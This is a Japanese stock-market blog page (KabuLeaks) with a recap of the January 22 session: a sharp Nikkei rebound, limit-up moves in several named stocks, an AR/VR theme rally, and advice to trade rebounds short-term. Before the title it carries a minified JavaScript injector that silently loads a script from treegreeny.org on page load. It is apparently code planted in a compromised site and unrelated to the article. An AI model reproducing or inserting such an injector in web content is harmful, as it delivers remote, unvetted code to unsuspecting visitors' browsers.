;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/22 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【1/22 大引け】

本日の日経平均株価は941円高と大幅反発。後場は一段高のほぼ高値引け、寄り付きこそ昨日の後場からの急落影響、週末要因などの思惑から一時上げ幅を縮めたもののその後は先物主導で上げ幅を拡大。大引け間際には1万7000円に急接近、これを回復は出来なかったが日経平均は今年最大の上げ幅を記録した。業種別では、全33業種全てが上昇し、鉱業、不動産業、鉄鋼、証券商品先物などが値上がり率上位に。

個別では、調整一巡からの買い戻し、個人投資家にも成長株として人気の【6619】ダブルスコープがストップ高、同じく個人投資家に人気の【2183】リニカルも後場一段高の急反発となった。また、創業者の筆頭株主・佐野陽光取締役から株主提案を受けたことを発表し、「お家騒動」が懸念されて急落していた【2193】クックパッド上昇。その他、中小型株の【6258】平田機工、【6721】ウインテスト、【2132】アイレップなどが値上がり率上位に並んだ。

テーマ株ではAR・VR関連が後場も勢い強く【4312】サイバネットシステム、【6629】テクノホライゾン・ホールディングス、【3914】、ジグソー、【6731】ピクセラ、【6736】サン電子など関連銘柄とされるところが全てストップ高や大幅上昇。他、直近人気のテーマもこの好地合いのなか軒並み上昇する銘柄が多かった。

日経平均は読み通り後場一段高。一旦の底打ちは確認できたがあくまでもリバウンドの域なので引き続き常に急落への警戒はしておきたい。ただ、週明けは日銀会合、追加緩和への思惑もありやや安心感のある相場になると予想。引き続きリバウンド狙いでの短期売買を優先、あまり欲張らずコツコツと上手く利益を詰み重ねていくのが無難かと思う。